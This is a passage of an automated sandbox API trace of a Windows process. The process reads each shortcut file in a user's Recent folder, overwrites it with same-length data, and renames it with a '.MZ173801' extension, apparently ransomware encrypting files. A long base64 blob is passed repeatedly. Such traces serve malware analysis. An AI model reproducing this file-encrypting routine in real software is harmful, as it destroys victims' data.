g3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.073] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\d3lWIeO.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\d3lwieo.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.074] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.074] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.074] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x3e1 [0121.074] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.074] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x3e1, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x3e1, lpOverlapped=0x0) returned 1 [0121.075] CloseHandle (hObject=0x288) returned 1 [0121.075] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\d3lWIeO.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\d3lwieo.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.076] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x3e1, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x3e1, lpOverlapped=0x0) returned 1 [0121.077] CloseHandle (hObject=0x288) returned 1 [0121.078] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\d3lWIeO.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\d3lwieo.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\d3lWIeO.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\d3lwieo.lnk.mz173801")) returned 1 [0121.079] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf47aa80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf47aa80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf47aa80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xed7, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="d3tdrORfPWVhLxPWU.flv.lnk", cAlternateFileName="D3TDRO~1.LNK")) returned 1 [0121.079] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.079] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.079] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\d3tdrORfPWVhLxPWU.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\d3tdrorfpwvhlxpwu.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf47aa80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf47aa80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf47aa80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xed7)) returned 1 [0121.081] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.081] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.082] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\d3tdrORfPWVhLxPWU.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\d3tdrorfpwvhlxpwu.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.082] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.082] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.082] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xed7 [0121.083] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.083] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xed7, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xed7, lpOverlapped=0x0) returned 1 [0121.083] CloseHandle (hObject=0x288) returned 1 [0121.084] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\d3tdrORfPWVhLxPWU.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\d3tdrorfpwvhlxpwu.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.084] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xed7, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xed7, lpOverlapped=0x0) returned 1 [0121.085] CloseHandle (hObject=0x288) returned 1 [0121.086] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\d3tdrORfPWVhLxPWU.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\d3tdrorfpwvhlxpwu.flv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\d3tdrORfPWVhLxPWU.flv.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\d3tdrorfpwvhlxpwu.flv.lnk.mz173801")) returned 1 [0121.088] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0121.088] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.088] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.088] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdef91d20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdef91d20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdef91d20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa79, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="dO Q3c1HB9zkLz M.lnk", cAlternateFileName="DOQ3C1~1.LNK")) returned 1 [0121.088] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.088] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.088] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dO Q3c1HB9zkLz M.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\do q3c1hb9zklz m.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdef91d20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdef91d20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdef91d20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa79)) returned 1 [0121.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzc